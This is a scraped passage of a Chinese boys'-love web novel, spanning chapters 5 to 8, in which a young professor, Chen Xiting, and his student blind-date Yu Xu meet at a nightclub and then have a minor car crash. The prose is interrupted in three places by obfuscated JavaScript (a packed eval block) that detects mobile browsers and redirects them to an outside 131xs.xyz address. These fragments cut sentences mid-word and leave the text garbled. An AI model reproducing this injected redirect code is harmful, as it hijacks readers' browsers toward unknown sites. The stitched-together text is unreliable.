赵满萤和徐叶枳相视一眼，交换了什么信息。 在陈西庭拉开主驾车门时，徐叶枳理所当然地坐上副驾。 陈西庭开车前往校门口，半途果然下起雨，砸在车身上哗哗啦啦地响。 徐叶枳点进手机相机，后座上的赵满萤凑过来问陈西庭，“学长，你不介意我们拍张照片发朋友圈叭？” 陈西庭当然不可能说不行。 两人对着镜头比耶自拍，徐叶枳感慨：“也是坐上西庭学长的副驾了。” 赵满萤跟着道：“学长你知道副驾只能给女朋友坐吗？小徐坐你的副驾，你女朋友不会不高兴吧？” 陈西庭自然不知道这种莫名奇妙的规矩，但他听得出来赵满萤这是在试探他。 他想直接说“她不会”打断她们无端的猜测，又怕这么说她们追问他什么时候有的女朋友。 “我没有女朋友。”陈西庭淡淡道。 赵满萤以开玩笑的语气笑着道：“那男朋友呢？” 提起这个，陈西庭又想到因为她们导致的相亲，余序不礼貌的行为举止在脑海浮现。 校园行路两侧撑起五彩缤纷的雨伞，向来喜怒不形于色的陈教授放慢车速，减少雨水飞溅，平静道：“也没有。” “不过。”陈西庭微顿，“倒是有个男的相亲对象。” “啊？” “什么？” 两个女生被这话惊讶，徐叶枳犹豫一秒道：“学长你……你怎么跟男生相亲呀？” 陈西庭状似随口道：“不知道谁在学校里乱传我是同性恋，让梁教授误会了。” 两个女生尴尬地对视，赵满萤讪笑：“谁啊，这么不讲究，怎么乱造谣呢？” 徐叶枳附和：“……就是啊。” 陈西庭揣着明白没有再多说，本意是想借此澄清自己不是同性恋，却不料徐叶枳眼珠一转，往他这边凑过来一点，眼尾带起俏皮的笑意：“既然学长你不喜欢男生，那我就继续追你了嗷。” 陈西庭：“……” 感觉有什么阴影重新笼罩了上来。 人越得不到什么就越想要什么，这一点在徐叶枳身上得到充分验证。 据陈西庭所知，徐叶枳的家庭条件相当不错，赋予她充足的自信和强大的内心，在一个明显对她不感兴趣的男人身上屡撞南墙，却越挫越勇，仿佛不达目的誓不罢休。 从研一到现在的博一，基本陈西庭出入的场合她都会跟着出现，以学妹的身份，偶尔越界做点女朋友的小行为。 实际上，陈西庭对她的种种行为心生排斥，碍于同学间的体面没有点破，只想退而远之。 “别在我身上浪费时间，叶枳。”陈西庭平静说：“能配得上你的男人有很多。” “可是我就喜欢你呀。”徐叶枳眨眨眼，“在言情小说中，高岭之花一定会被元气少女摘下，我长得这么漂亮，性格开朗还有钱，你了解我后，一定会喜欢上我的。” 陈西庭想到刚刚在湖边听到的那句“和男人在一起是会被人瞧不起的”，轻叹了口气，“我喜欢男生。” 同性恋就同性恋吧，被人瞧不起，总比被女妖精没完没了死缠烂打要好。 况且，他只是自己无法接受同性恋，并不觉得同性恋低人一等。 两个女生再次吃了一惊，此时刚好经过校门口，负责记录过往车辆的保安大爷认出他的车，从檐下探出半个身子招手道：“陈老师陈老师！” 陈西庭在保安亭边停车，降下主驾车窗，敞开的屋门洒出暖黄灯光，照亮一块淅沥雨幕。 陈西庭的视线穿过雨幕，掠过檐下的保安大爷，停在他身侧的余序身上。 挺拔的少年看起来是被雨困在了这里，俊脸上蕴着抹烦躁，看清他后愣了下，眉心皱起。 但保安大爷很热情，弯腰问陈西庭：“陈老师，这个小孩叫的车堵在路上了，他还挺着急的，能麻烦你送一程不？” 下班晚高峰，校外东西向的那条路本就拥堵，加上下雨，交通情况堪忧，造成车祸事故，现在堵得水泄不通。 余序别开眼，“不用，我再等会儿。” 陈西庭刚好不想和两个女生相处，现在连余序都看起来十分可爱，对保安大爷微笑：“让他上车吧。” 保安大爷拍了拍余序，“上去吧，别害臊，陈老师人特别好的！” 余序磨了下牙，没说什么，上前拉开后座车门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“什么？”徐叶枳瞪大眼睛看向陈西庭，“他……是你的相亲对象？” 赵满萤也同样震惊，刚刚陈西庭说他喜欢男生，那能让梁院长安排给他相亲的人，必然也是同性恋啊！ 现在的帅哥都怎么了？一个两个竟然全是同性恋！ 没有歧视的意思，尊重一切选择，可是为什么屁股不能老老实实用来拉屎啊！ 两个女生面对帅哥的热情被陈西庭一句话给浇灭，车厢内终于安静下来，车窗外雨势渐大，蜿蜒的闪电不时照亮摩天大楼。 到了金地中心商业街附近，陈西庭开口问：“余序你在哪儿下？” 余序从车窗外被雨水折射得光怪陆离的街景上收回视线，“苦梦酒吧。” 本市知名的三大夜店之一，一晚上的流水超过千万，内里是否存在权.色.交易不得而知，对外倒是大学生和社会青年的蹦迪首选。 赵满萤听见这个一下来了兴趣，“你去苦梦酒吧干什么呀？” 余序冷淡道：“玩。” “我也想去！”赵满萤扯了扯徐叶枳的衣袖，“我们先别看电影了，去蹦迪吧，有个男生在也不怕不安全。” 她去过几次，但没有男性朋友在，总会担心安全问题。 “好啊好啊。”徐叶枳非常感兴趣，对陈西庭道：“学长你也去吧，你是不是还没蹦过迪呢？” 陈西庭从余序的脸色中看出他的不爽，于是道：“不了，你们两个还是去看电影吧。” 赵满萤撅起嘴，“为什么呀？” 陈西庭在商场门口的地下车库停车，扶在方向盘上的手敲了敲，淡声道：“因为我和余序要去约会。” 5. 唇钉 余序听见这话一愣。 等到两个女生忙不迭地离开后，他推门下车，又拉开副驾的车门，神色沉冷地质问：“你瞎说什么呢？” 陈西庭不疾不徐，反问：“你想带着她们一起去？” 余序下颌线不悦地绷紧，“那你就说咱俩去约会？” 他不是傻子，自然明白这只是陈西庭拒绝两人跟去的说辞，可难道没别的理由了？他莫名其妙就成同性恋了？ 陈西庭在湖边听了那样的对话，早已“断章取义”地将余序划入同性恋的行列，没意识到这于直男是一种“污蔑”，见他这副恼火的模样，生出几分逗弄的心思，“你不想跟我约会？” “谁要跟你约会啊！”余序声调高了两分，更恼火了，“咱俩的相亲已经结束了，老子对你不感兴趣！你别自作多情” “刚好，我对你也不感兴趣。”陈西庭唇角微勾，对他的反应很满意，“但我刚刚确实是利用你挡了烂桃花，抱歉。” 他都道歉了，余序也不是斤斤计较的人，抬手推开车门，冷冰冰地说，“客气了，就当算我车费了。” 车门被余序关上，发出“砰”的一声响，同时外面响起轰隆隆的滚滚雷声，大地都仿佛跟着颤动。 余序转身就走，走了一步又折回来，屈起指节敲了敲车窗。 陈西庭降下车窗，看着他无声发出一个问号。 余序面无表情：“雨太大了，你要不要上去坐坐？” 雨夜行车易出事故，陈西庭意外余序会考虑这点，轻轻“啧”了声，“突然邀请我去酒吧，你是不是图谋不轨？” 余序无语，“老子善良。” “看不出来。” “你爱去不去。” 陈西庭单手解开安全带，拔下车钥匙下车，“添麻烦了。” 地下车库很大，余序轻车熟路地走在前面，带着陈西庭穿过停泊的众多豪车，直抵电梯。 电梯里只有他们两个，谁也没出声，余序低头看手机，陈西庭则看着镜面电梯门反射的身影。 干净的镜面映出少年人的挺拔身形，锋利的面部轮廓上五官立体，毫无瑕疵，陈西庭充分理解为什么徐叶枳看他一眼便“移情别恋”，只是…… 陈西庭的视线从镜面转移到身边人的脸上，余序察觉后偏过头，“怎么了？” 陈西庭仔细看了看，确认他薄唇下的皮肤光洁完整，“你唇钉怎么不戴了？” 余序一顿，想到自己那个贴上去的假唇钉，心虚一秒，反问：“怎么，你想要打一个？” 陈西庭明知故问地调侃：“是挺好奇的，什么唇钉打完能不留痕迹？” 余序磨了下牙，“你话这么多，挨过打么？” 陈西庭：“根据教师法规定，殴打教师会视情况给予行政处罚。” 余序：“拿着鸡毛当令箭。” 陈西庭不紧不慢：“侮辱教师也会。” 余序：“……” 电梯“叮”地一声到站，金属门向两侧滑开，震耳欲聋的DJ音乐迎面扑来，赛博朋克装潢的酒吧门厅进入视野。 余序嗤了声，“知道你是教师行了吧，走吧。” 陈西庭只去过清吧，还没来过这种地方，难得感觉新奇，跟在余序后面走进去。 门口前台处陈列一面鸡尾酒装饰墙，折射出瑰丽的色彩。 穿着服务员西装的男人腰后别着对讲机，正和收银小姐交代什么，余序带着他走过去，“吴哥。” 男人转头，看见是余序后激动地揽住他，“阿序你可算来了啊，客人点名要你陪着喝两杯，没见着人这会儿冷着场呢。” “哪个客人事这么多。”余序将男人的胳膊拿下来，公事公办地向他介绍陈西庭，“我朋友上来坐一会儿，雨小了就走，你给安排个位置，算我账上。” “没问题……”男人毫不犹疑地应下，顺势看向陈西庭，原本随意的视线在看清后者的长相后蓦地定住。 夜店里工作的人自然见过眼花缭乱的帅哥美女，但仍然会被眼前人的相貌惊艳，青瓷一般清隽润透，吸睛得让人一时间移不开眼。 陈西庭礼貌地颔首示意。 “你好你好。”男人绕过余序，热情地过来和他握手，“我叫吴涛，是店里的经理，阿序他有工作，您跟我来就好。” 陈西庭和他握手，“好。” 吴涛带着他从舞池边的过道穿过，上了一层高台到达贵宾卡座处，“您先坐，一会儿我让人将赠送的酒水送过来，其他酒水食品可以直接扫码点单。” 这个位置不错，人声沸腾的舞池尽收眼底，陈西庭扫了一眼，问吴涛：“余序他在这里做的什么工作？” “男模啊。”吴涛顺嘴道：“他长得跟明星似的，不干男模多可惜啊。” “男模是干什么的？”陈西庭微微疑惑，是他想的那种工作么？ 吴涛将他上下一扫，笑着说：“就是陪客人唱唱歌，跳跳舞，喝喝酒，一晚上赚得钱能顶普通人一个月工资呢。” 陈西庭点了下头，对余序的认知从“需要兼职赚钱的大学生”，进步成“需要出卖色相赚钱的男大学生。” 他对此没有丝毫歧视，只是觉得奇怪，能被梁老头介绍给他相亲的人，家庭条件应该不会太差，怎么会让十九岁的少年这般自力更生？ 吴涛被对讲机叫走，走时递过来一张名片，“这是我的名片，可以找我订台，有工作的需要也可以联系我。” 陈西庭接过，在吴涛走后，坐到卡座的沙发上，随手将名片对折，扔进垃圾桶中。 他听懂了吴涛的意思，但他没有订台需求，更不会有出卖色相的工作需要。 等待雨停的时间并不枯燥，陈西庭打开数独游戏，脑海中排兵布阵着目前需要破解的公式。 微信消息突然弹出，是朋友发来求助： 【庭儿，快帮我把这关破了，卡半天了！】 陈西庭对“开心消消乐”这款经典游戏毫无兴趣，偶然一次帮忙通关，便成了这方面的专家。 他熟练地登上朋友账号，继续一心二用。 和赠送的酒水一起来的，还有隔壁桌的一个女生。 女生一身虎皮短裙，裹出前凸后翘的好身材，拿着酒杯坐到陈西庭身边，“帅哥，一个人来的么？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082348|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陈西庭单手划动小动物的位置，闻到一阵馥郁的香水味，不难闻，但他不太喜欢这种化工产品的味道，眼皮都没抬，“在等朋友。” “男朋友还是女朋友呀？”女生微笑邀请，“这不是还没来嘛，你一个人多无聊呀，要不先去我们桌喝一杯吧？” “Unbelievable！”“bonustime!” 小游戏接连发出通关音效，陈西庭摁灭手机，分开交叠的腿起身，“去下洗手间，失陪。” 他根据指示标识走向洗手间，人有点多，男男女女乌乌泱泱，拥挤一片。 从中间穿过去时，一个穿着女装的男生故意挤进男服务生怀里，在人家的腰身上摸了一把。 陈西庭：“……” 乌烟瘴气。 前往洗手间的安全过道上也有不少人，走到洗手间门口时陈西庭被人撞了下。 那人正用对讲机说着什么，撞到人后连道不好意思，说着他抬头，看清陈西庭的脸愣了下，随后急三火四地拉住他就走，“你怎么还在这儿？到处找你呢，赶紧跟我过来。” 陈西庭见他穿着和吴涛一样的衣服，推测也是个经理，以为真有什么要紧事儿，不明所以地跟在他后面往二楼走。 男人边走边说，语速飞快：“不知道今晚谁过生日么？这么要紧的时候也不上点心，还到处乱跑，让我们找大半天，你不想赚钱我还想拿提成呢……” 陈西庭一头雾水，心道谁过生日关他什么事儿，男人的话密得不行，他愣是没找到反问的机会。 金碧辉煌的二楼全是包厢，连光线都是纸醉金迷的味道，男人推开其中一间厚重的软包门，灯光酒绿，声色犬马的脂粉气儿飘出来，浓得呛人。 男人穿过舞动的人群，将陈西庭直接带到中央卡座边，恭敬笑道：“柏少，人给你带过来了。” 卡座边坐了一圈人模狗样的青年，各个不是腿上坐着女人，就是怀里搂着女人，听见这话齐齐看过来。 被称为柏少的青年坐在众人中间，如同众星捧月一般，腿上坐着个十分娇小白净的少年。 他的手臂从少年腰侧穿过，夹着烟的手上拿了个相机，正低头看显示器，听见动静抬起头，看见陈西庭的脸，露出一抹惊艳的神色。 其实闪烁变换的昏昧光线让人很难看清细节，但陈西庭就站在那里，长身玉立，清隽如青瓷脂玉，与整个哄闹的环境格格不入。 “来了啊，我当你真生我气了。”柏辰浩笑起来，放下相机，松开揽在少年腰上的手，后者识趣地起身。 陈西庭微微皱眉。 柏辰浩懒洋洋地站起身，扭头朝一侧道：“喂，阿序别玩你那个破魔方了，来看看我新瞧上的男模。” 陈西庭猜到他们大概是认错人了，仍然下意识地顺着他的视线看过去。 那里的沙发上靠着个修长的身影，左腿脚踝骨搭在右腿膝盖上，姿态松漫不羁，冷白骨感的手指灵活地把玩着一枚彩色的四阶魔方。 对方撩起漫不经心的一眼，手上动作不停，魔方快速转动，却在看清陈西庭时顿住。 四目相对，陈西庭挑了挑眉。 6. 男模 “你怎么来了？”余序目光在陈西庭和柏辰浩之间走了一圈，停在柏辰浩身上，问：“你刚刚说他是你的谁？” “我新瞧上的男模啊。”柏辰浩语气理所当然，并对两个人的反应感到惊讶，“你们俩认识啊？” 余序不理他这话，直接问陈西庭，“你怎么成男模了？你认识他？” 陈西庭也没想到自己上个洗手间，半途被人当成男模了，但也不觉得是什么大事，不紧不慢地道：“不认识，莫名其妙被拉过来给什么人庆生。” “就是给这个傻逼庆生。”余序放下搭在膝盖上的腿，坐直身子，不太耐烦地对柏辰浩道：“你认错人了，赶紧给人送走。” 柏辰浩满脸不信地看向陈西庭，在幽昧的光线里左右打量，“你不是张青宜？” 陈西庭坦然迎接他的视线，“不是，你认错人了。” “别逗了。”柏辰浩流里流气地笑着，竟然伸手摸上陈西庭的脸颊，“今天穿得还挺好看，跟我玩欲擒故纵呢？” 他手上还沾着烟味儿，发凉手指的碰上脸部皮肤，陈西庭感觉到一种蚯蚓爬到脸上的滑腻感，瞬间生出一阵反感。 “啪！” 不等陈西庭拍下他的手，一个魔方又准又狠地飞过来，刚刚好把他的手砸偏。 柏辰浩发出一声惨叫，握住手呲牙咧嘴地转头瞪着余序，一点恼意都没有，“阿序你干嘛？” 余序冷峭的黑眸直直地盯着柏辰浩，“干什么呢你？” 众人的注意力被这边吸引，靡靡声乐逐渐熄了火，人群不明所以地张望。 “摸一下怎么……”柏辰浩轻佻惯了，突然被人来这么一下还有点懵，看了看陈西庭，又看了看余序，忽然恍然大悟一般，“你也看上他了？你早说啊，哥们指定不跟你抢！” 余序：“……” 他为什么会认识这个傻逼？ 陈西庭旁观两人对话，自然发现这两人的关系和他认为的不太一样，余序真的是男模吗？什么男模敢拿东西砸金主，还能让金主以哥们相称？ 不仅如此，余序半垂的眉宇压着些不耐，一副懒得废话的模样站起身，“走了。” “啊？别走啊。”柏辰浩深感费解，连忙挽留道：“吃块蛋糕再走啊，马上送来过了，我特地让你按你口味订做的。” 其他人中不知道谁出声，语气略带不平：“阿序你生气了？不就一个男模么？浩子过生日……” 余序冷漠地睇过去一眼，那人鹌鹑似的闭上嘴，没了动静。 陈西庭觉得稀奇，心中起了些许兴趣，先不说别的，余序这身气势可不像个需要出卖色相赚钱的穷学生。 他刚准备开口，那个把他拉过来的经理又匆匆忙忙地跑过来，连连对着柏辰浩道歉：“不好意思不好意思，柏少，刚找到李青宜……” 陈西庭和余序同时看过去，通过不甚明朗的光线，看清被经理拉过来的青年。 甫一瞧去，发型脸型身形，确实和陈西庭有几分相像，但也只是有点像而已，余序一眼便看出两人的区别。 陈西庭清冷斯文的气质干净又出众，那青年虽然长得不错，气质却有些油头粉面的俗气，被经理拉过来还一脸不愿，和陈西庭比起来差了不止一星半点。 这都能认错，柏辰浩这傻逼的眼睛不会用不如捐了。 柏辰浩看看正牌男模李青宜，又看看盗版的陈西庭，没有对比就没有伤害，他突然就明白余序生什么气了！ 还得是余序眼光好啊，看上的人都非同凡响，这简直就是买家秀和卖家秀的差距啊！ 不对，余序他……他不是直的么？他被掰弯了？ 陈西庭不知道柏辰浩在想什么，更不知道自己已经被划成了“余序的人”，他见余序要走，故作不解地道：“我听那个姓吴的经理说你在这里兼职干男模，就这么走了还能挣钱么？” 余序一顿，这才想起自己的“身份”来，摸了下鼻尖，语气里的底气不太足，“不挣了。” 他弯腰拿起桌上的手机，“回学校了。” 他这学期要忙学业，兼职都停了，吴涛不知道情况，说今晚有贵客点名一定要他过来，央着他过来帮忙，提成翻倍。 来了才得知是柏辰浩过生日，柏辰浩知道请不动他，以找男模的名义让吴涛把他叫了来。 来都来了，刚好下雨，他想着待一会儿再回去，万万没想到陈西庭被人当成男模拉了过来。 别人也就算了，但陈西庭不仅是他相亲对象，还是他的任课老师，要是知道了他的身份，保不齐会生出多少麻烦。 “阿序，阿序。”柏辰浩见他要走，立即过来拉他，看起来是真怕他走了，“吃块蛋糕再走，给个面子。” 余序掀眸看了眼陈西庭，换做以往他说走就走了，但现在他顶着“男模”的身份在陈西庭面前，柏辰浩都这么说了还走，陈西庭一定会多问。 余序抽出自己的衣袖，下巴点了下陈西庭，敷衍道：“我给他送出去就回来。” 柏辰浩一点也不信他，笑嘻嘻地道：“来了就一起玩呗！” 说完不等余序答应，他又转过来和陈西庭道歉：“抱歉啊兄弟，我这人脸盲，刚刚把你认错了，多有冒犯，太不好意思了。” 陈西庭礼貌微笑，“没事。” “大家继续玩，接着奏乐接着舞！”柏辰浩招呼一声，也不管自己心心念念的小男模了，拉着陈西庭坐到沙发上，支使侍应生拿来两个新的酒杯又开了瓶酒倒满，“来来来，兄弟。” 柏辰浩提起其中一杯，笑得十分真诚热情，“俗话说不打不相识，我敬你一杯给你赔个不是，以后咱们都是朋友了！” 琥珀绿的酒水在玻璃杯中摇曳出漂亮的光点，陈西庭不知道是什么酒，看这个样子味道应该会不错。 他对外一直是斯文有礼的样子，柏辰浩都这么说了，他也不会拂了好意，拿起酒杯和他碰了下，“客气了。” 送到嘴边准备喝时，一只修长骨感的手握住他的手腕，少年冷冷的声音在头顶响起，“你开车来的你喝什么酒？” 和柏辰浩发凉的手不同，余序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人之间的位置空下来，余序转头看着陈西庭，眉心微蹙，“你怎么不走？看不出来他对你有别的心思么？你也想当男模？” 陈西庭其实猜到了，被余序这么点破，心里还是产生了点异样。 除了余序外，他没真正见过同性恋，夜店于他而言也是陌生的区域，同性恋被光明正大摆上台面，好像出现在这里的男人，不是要玩的，就是被玩的。 陈西庭拿起酒杯喝了一口，道：“我又不缺钱。” 这里的一切只是体验而已，和尝试一个新品种的水果没什么区别。 余序看着他在光线里宛如涂了层釉色的精致侧脸，忽然想到两人是在相亲桌上认识的，既然是相亲，说明对方可能有生理方面的需求，却被人人尊敬的教师身份困住，无法纾解。 小余同学很善解人意地问：“你喜欢什么类型的？” 陈西庭略显疑惑，“什么？” 余序：“男模。” “嗯？”陈西庭不解，“我喜欢什么类型的男模？” “嗯。” “你想干什么？” 余序神情如常，“点两个过来陪你玩。” 7. 车祸 余序要找两个男模来陪他玩？ 有那么一瞬，陈西庭觉得是环境太吵，自己听错了，他一个直男要什么男模？坐一起给苏打饼干扎眼么？ 陈西庭奇怪地问：“你们这里只有男模？” “也有女的。”余序看着他，想到唐雀音说他是同性恋的话，也觉得奇怪，“你想要女的？” 同性恋要什么女的？ 陈西庭指尖随意地翻转着手机，并不避讳，但也不见得有多感兴趣地问：“都能提供什么服务？” 余序声音冷淡：“钱到位什么都能干。” 陈西庭又来了兴趣，打量着余序，“你也是什么都能干？” 这人酷拽大爷的气质和一旁的侍应生毫无相似之处，实在是不像会顺从听话地做服务行业，陈西庭甚至觉得有人让他倒杯酒，他能连人带杯子掀飞二里地。 余序偏头，意味不明地盯他两秒，忽然问：“你想干我？” 陈西庭一阵沉默，这两句话是怎么关联上的？做男模做出来的思维定势？ 他很想直接说你想多了，又想到余序是个同性恋，还做着男模的工作，直接拒绝会不会伤害到他。 陈西庭思忖后，问：“你很希望我干你？” 这回换成余序沉默，果然，这个相亲对象就是对他有想法！看着一副正经人的样子，原来是个对学生图谋不轨的斯文败类！ 余序扯唇轻嗤了声，“做什么春秋大梦呢。” 说完后，他又顾忌起自己被陈西庭掌控的两门平时分，冷脸补充道：“要干也是我干你。” 陈西庭觉得离谱，没等他说话，柏辰浩回来重新坐回他们俩中间，“你们俩在说什么呢？什么干什么？” 余序不太耐烦，“没干什么。” 柏辰浩见状也不继续这个话题，“蛋糕正在上楼了，你着急回去干啥啊？下着雨呢，玩会儿再走呗，我新得了瓶翡翠岛的whisky，一会儿尝尝。” “没兴趣。” 柏辰浩转头对陈西庭笑道：“他脾气这么臭，还没几个钱，你为啥跟他玩啊？” 陈西庭觉得自己要是顺着他的话说余序不好，下一秒他就能让自己换成跟他玩儿，因此他从脾气臭还没钱的余序身上，挑出一个非常直观的优点，“他长得好看。” “他长得确实不是一般的帅，那我长得也不差啊。”柏辰浩做了一个从侧面向后捋头发的动作，自信道：“更重要的是不能太肤浅，还得会疼人。” 陈西庭开始理解余序为什么想走了，他不会疼人，但估计打人挺疼的。 蛋糕在这时被侍应生推进来，是一座精美繁复的五层蛋糕塔，后面跟着的侍应生则推着一座璀璨晶莹的香槟塔，众人的视线纷纷被吸引，不时有人发出惊叹的声音。 主人公柏辰浩只得中止和陈西庭的聊天，起身去主持这场生日庆贺。 都是些场面话，陈西庭觉得无聊，他推测余序也是，因为他调整了姿势，搭在右膝盖上的左脚踝放下来，换成右脚踝搭在左膝上。 但没有人家过生日自顾自就走掉的道理，两人只能耐心地等着，陈西庭拿起酒杯，慢条斯理地喝了一些。 蛋糕是柏辰浩亲自分的，不过只分了关系好的几个人，就将这项工作转交给侍应生，自己端着两盘蛋糕分别放到陈西庭和余序面前，“快尝尝，我从法国请的厨师做的。” 柔嫩绵软的粉色奶油蛋糕被切割成块，放在纯银制做的华丽餐碟上，即便光线不太清晰，也散发着香甜的气息，诱惑人的味蕾。 陈西庭拿起银制的小叉子，象征性地吃了一小块，入口的味道比想象的还要好，蓬松香软，甜而不腻，不愧是法国请来的厨师。 “怎么样怎么样？”柏辰浩期待地看着他，“好吃不？” “嗯。”陈西庭微微点头，给出情绪价值，“不错。” 余序也吃了一口，眉心轻皱，随手丢下叉子，落在玻璃质地的桌面上，发出清脆的一声响。 柏辰浩立即转头问：“咋了，不好吃么？” 余序臭着脸，“弄这么甜，怎么不直接推个糖缸来？” “有那么甜么？我特意让人做的不甜的。”柏辰浩不信邪，直接捡起他扔的叉子，挖了一块蛋糕送进嘴里。 余序顿时面露嫌弃，无法接受这男同的越界行为，起身道：“走了。” 蛋糕吃了，柏辰浩也没别的理由再留他，刚转回来想让陈西庭留下来玩会儿，陈西庭就站起身，礼貌道：“我也走了，祝你玩得开心。” “着急回去干啥啊，还不到九点。”柏辰浩嘀咕了句，安排侍应生将他们两个送出去。 坐电梯下楼，陈西庭拿出手机约代驾，身旁的余序淡淡道：“酒吧有代驾，帮你叫了。” 苦情酒吧这种级别的夜店会在配套服务上争取尽善尽美，来的时候有泊车员，走的时候有代驾，让顾客收获贴心管家般的优越服务。 地下停车场内，穿着酒吧工作人员制服的泊车员和代驾往来忙活，陈西庭走到自己的车边后，看着安安静静停着的保时捷，问：“代驾呢？” 余序伸手：“钥匙给我。” “嗯？”陈西庭有些意外，“你是代驾？” 余序撩起眼皮瞥他，“不行？” 他的神情实在太拽，陈西庭唇角微勾，故意带着歧义道：“你很行？” 余序：“……” 他偶尔才会接代驾的兼职，要不是今天下雨路况复杂，酒吧代驾人手不够，他才不会答应送这个狐狸教授。 哪有为人师表的样子？果然学历只能筛选学渣。 余序冷嗤一声，“你试试不就知道我行不行了。” 陈西庭将钥匙给他，自己打开副驾的门，“拭目以待。” 余序也不客气，熟练地发动车辆。 陈西庭系好安全带，他其实并不太放心，余序在他眼里还太年轻，但他从不对别人在做的事指手画脚，安静地观察路况。 十九岁的少年考下驾驶证最多一年，技术倒是不错，从驶出地库到进入主路都没出差错。 外面的雨稍稍小了一点，天气情况没有影响到京州拥挤的路况，车流密集的道路处，从十字路口开始排起长队，红色的尾灯在模糊雨幕中化作一条望不尽的长龙。 余序换挡等红灯，问：“住哪儿？” “澜月湾。”陈西庭说。 余序随口道：“当老师这么挣钱，27岁就能住上港湾别墅？” 不是干了什么旁门左道来的钱吧？ “当老师挣不上。”陈西庭不疾不徐地道：“有个有钱的父亲可以。” 余序：“……” 两个人不说话，车厢内一片安静，一阵手机铃声突然响起。 陈西庭的手机上车后自动连接蓝牙，来电显示上的一串号码在车载显示器上跳跃，抒情缓缓的英文铃声搅动安静的空间。 陈西庭伸手点击接听，“妈。” “喂，西庭。” 江雁回女士的声音从电子设备中传出，语气从容冷静，像是领导者在安排任务，“周六有时间么，有个女孩想让你见一下，是你爸合作伙伴的女儿。” 什么性质的见面不言而喻，陈西庭对 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绿灯下，车队有条不紊地驶过十字路口，余序控制着车速，和右侧并行的货车一同越过人行道，突然一阵刺耳的鸣笛声从右侧迅疾冲来。 余序被货车遮挡住视线，见货车突然刹车也跟着踩刹车，堪堪停稳便有一辆疾驰的救护车横向穿过红灯远去。 “危机”避过，余序准备起步，陈西庭刚想夸一句他反应不错，“嘭”的一声，背后一阵大力惯来，车身重重一晃，两人同时前倾。 后面不知道什么车撞了上来，这一下让余序猝不及防，脚下没控制住，车身窜了出去。 他下意识转方向盘，又是“嘭”的一声，车头和货车的车头来了一个亲密碰撞。 猛烈摇晃中，陈西庭及时拉起手刹，余序也迅速补救。 一连串的事情发生的太突然，但好在车速不快，连安全气囊都没舍得弹出来。 陈西庭确认余序没受伤后，轻轻“啧”了声，“你好像不太行啊。” 余序正从车窗观察后面的情况，闻声转过头看着他，纳闷道：“都撞车了你还有心情开玩笑？” 陈西庭从容地拿出手机报警，“这不是怕你紧张么。” “我紧张个屁。”余序不爽地解开安全带，和货车司机以及后面撞上来的车主一同下车查看情况。 雨还在下，陈西庭和警察说完情况，撑开车内的保时捷原厂黑色长伞下车。 三辆相撞的车使刚刚恢复流动的路口再度堵车，余序正和其他两个司机沟通，路灯照亮雨幕，长身玉立的少年气势却完全不亚于那两个中年人。 陆续有看热闹的人出来观望，陈西庭走过去，从后面将伞遮在余序头上。 余序回头，看清是陈西庭后问：“你车买保险了吧？” 他的头发被雨水打湿，随手往脑后顺了下，将蓬松的黑发拨凌乱潦草，饱满的额头和立体的眉骨露了出来，整张锋利俊美的脸充满不羁野性，像条出门打架的小狼狗。 同撑一把伞的距离很近，陈西庭生平第一次感受到浓颜系帅哥的冲击力，仔细在他脸上看了两眼，莫名想逗他，故意道：“没买。” 余序讥讽：“住大别墅的人买不起保险？” 陈西庭轻笑，“大别墅又不是我买的。” “你还能笑得出来？”余序扯唇冷笑，“刚刚撞到脑子了吧？晃晃头能不能听见水声？” “侮辱师长。”陈西庭语调悠悠，“记大过。” 余序咬了下牙，十分想给这人欠揍的脸来一拳。 “你们两个！！”货车司机嚷道：“怎么还打情骂俏上了？” 8. 洗澡 打情骂俏？ 陈西庭听见这个词，第一时间向旁边让了一步避嫌，直男听不得这种暧昧的词汇。 雨水从而再度落在余序身上，他扭头看见陈西庭一脸“我们不认识”的表情，顿时不乐意了，“你躲什么呢？” 他还没躲呢，这个同性恋倒先嫌弃上了！ 犟种余序上前一步重新回到伞下，抬手去握伞柄上半段，嗤声道：“跟我打一个伞怎么了？说跟老子出来约会的时候怎么没见你要脸？” 陈西庭故意逗他，准备抬伞后退，于是余序本想握在上半部分的手，就这么握在了他的手上。 两个人同时顿住。 余序的手修长宽阔，潮湿的雨天里掌心仍然干燥温暖，陈西庭感觉皮肤接触的地方好像激起陌生的电流感，酥酥麻麻。 “喂！”货车司机嚎叫，像只肥胖版的黄色尖叫鸡：“你们两个怎么还在亲亲我我？到底能不能解决了啊！” 余序触电般收回手，皱眉冲货车司机道：“嚎什么嚎，说不赔了么？” 货车司机看着也烦躁不已，但碍于陈西庭和余序是两个挺拔的青年，没有发作出来，“你说吧，怎么赔？” 陈西庭淡定出言道：“别急，先等警察来吧，该是什么就是什么，我们不会推卸责任。” 另外一个将他们的车给撞了的司机连连附和。 交通因为这起不算严重的事故再度拥堵，陈西庭站在马路牙子上，要比余序高出一点，撑着伞遮住两人刚刚好。 夜风里充满水汽，吹过来时难免带着雨丝，将人沾得湿漉漉的。 陈西庭不喜欢这种感觉，忽然在某一个瞬间，他嗅到一点淡淡的橘子香，轻飘飘地萦绕在伞下的有限空间内。 像烈日晒过的干燥橘子皮，散发着温暖的清香，湿闷的心绪仿佛都被拂散开。 是余序身上的味道。 陈西庭刚确认这点，鸣笛声伴着红蓝变换的灯光出现，警车迅速到来，交警们分工合作，训练有素地指挥交通和处理事故。 陈西庭刚刚说没买保险单纯是为了逗余序，保险公司的工作人员也很快到场，先疏通路段使交通恢复正常，再继续处理当事车辆。 